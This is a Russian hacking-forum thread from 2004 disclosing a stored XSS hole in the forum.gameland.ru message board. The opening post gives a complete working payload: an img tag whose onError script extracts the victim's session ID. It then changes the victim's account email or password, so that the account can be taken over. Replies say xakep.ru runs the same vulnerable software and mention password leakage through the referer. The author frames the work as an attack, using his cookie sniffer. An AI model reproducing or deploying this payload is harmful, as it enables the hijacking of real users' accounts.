Уязвимость форума forum.gameland.ru

Discussion in 'Уязвимости' started by JazzzSummerMan, 11 Jun 2004.

  1. JazzzSummerMan

    Joined:
    7 Apr 2004
    Messages:
    374
    Likes Received:
    18
    Reputations:
    14
    Не так давно в файл-логе моего сниффера(http://zero.h12.ru/)начали появляться ссылки на форум http://forum.gameland.ru. Захожу посмотреть, а там наш Че восхищается этим форумом в плане его дырявости, что мол скоро он будет обязательно взломан и все такое) Ну жду,значит появления статьи на античате, не дождался, видимо он не стал заниматься этим. И вот решил сегодня попробовать сам.
    Итак, уязвимы там, как я понял все возможные поля. Разрешены некоторые тэги, сначала я поробовал вставить скрипт через тэг &lt;a&gt; - влегкую. Но для взлома желательно использовать картинку, для скрытности, и тэг &lt;img&gt;, разумеется тоже пропускает скрипты. Думаю, поработаю со сниффером: отловлю referer(для получения ID) и cookies, и буду заходить в чужие настройки, короче заняться XSS. Но тут решил зайти в свои для начала. И что же? Действительно клево, давно такого извращения не встречал[​IMG]) Абсолютно все настройки меняются без запроса текущего пароля, а именно: пароль, мыло для напоминания пароля - короче все самое интересное для нас[​IMG]. Ну повозился немного с JavaScript, (методы использовал, описанные в моей заметке &quot;Почтовые WWW-интерфейсы&quot;) и вот что получилось. Способ вставки скрипта:<span style='color:red'>
    &lt;img src='x'onError=alert();&gt;
    </span>
    Сам скрипт такой.
    Вырезаем из location идентификатор (обычно позиция с 57 и 32 в длину)<span style='color:red'>
    stroka=location &amp;#43;1; str=stroka.substr(58, 32);
    </span> Здесь &amp;#43; -код символа +, потому что иначе он не проходит.
    задаваемый на обработчик onError URL изменения настройки:<span style='color:red'>
    document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&amp;sessionID='&amp;#43;str &amp;#43;'&amp;[email protected]';
    </span>
    В этом случае я меняю только мыло для того чтобы мне выслали на него чужой пароль. А можно сразу и пароль поменять, правда отрезав тем самым юзера от своего аккаунта:<span style='color:red'>
    document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&amp;sessionID='&amp;#43;str &amp;#43;'&amp;PASSWORD=XXXX&amp;CONFIRM_PASSWORD=XXXX';
    </span>
    Полностью, код который нужно вставлять в тело сообщения выглядит так:</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    <img  name=coolpict src='x'OnError=`stroka=location &amp;#43;1; str=stroka.substr(58, 32); document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&amp;sessionID='&amp;#43;str &amp;#43;'&amp;[email protected]';`>[/QUOTE]<span id='postcolor'>
    Когда пользователь загружает картинку, происходит ошибка, и JS автоматически загружает другую &quot;картинку&quot; - изменение настроек.
    Так... Недостатки , значицца следующие)) :  пользователь может просматреть свойства &quot;рисунка&quot;; громоздко, и неоптимизированно, некоторые браузеры, подозреваю, вообще не так проинтерпритируют код; почему-то срабатывает только если изначально включена графика, а на &quot;показать рисунок&quot; сработал только один раз и перестал); через раз также мой IE6 выдаёт ошибку о переполнении стэка и аварийно завершает работу; и самое главное, в некоторых случаях поле location может немного отличаться от того, под которую занесены параметры для функции substr().
    Ну если кому-то будет очень нужно, тот все сможет оптимизировать, а для меня в этом нет надобности. В целом, пример рабочий.
     
  2. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Тянет на статью. НЕ против если ее поместим на античате? ДУмаю в том виде что есть?
     
  3. JazzzSummerMan

    Joined:
    7 Apr 2004
    Messages:
    374
    Likes Received:
    18
    Reputations:
    14
    Егорыч, сыровато.. Можешь размещать, но по мне тк желательно доработать, могу заняться если надо. Кстати на www.xakep.ru - форум абсолютно(абсолютно) такой же[​IMG])
     
  4. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Хорошо.. буду очень рад если доработаешь потом присылай на [email protected]
     
  5. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Jazzz, я и не думал, что у этой баги такие возможности !
    Надо было мне копнуть чуток ... &nbsp;[​IMG]
     
  6. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Хотя прикольно будет серия новостей:
    Найдены уязвимости чата на xakep.ru, найдены уязвимости форума на xakep.ru ...
    Молодец! &nbsp;[​IMG]
     
  7. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Там еще вроде в опции &quot;предварительный просмотр&quot; в поле referer можно увидеть свой ник и пароль для него ...
     
  8. JazzzSummerMan

    Joined:
    7 Apr 2004
    Messages:
    374
    Likes Received:
    18
    Reputations:
    14
    Послал..
    Че, никто наверное не думал, вот и живой еще этот форум) Я к примеру даже специально при написании какой-нить простенькой гесты или форума таких ошибок не налеплю))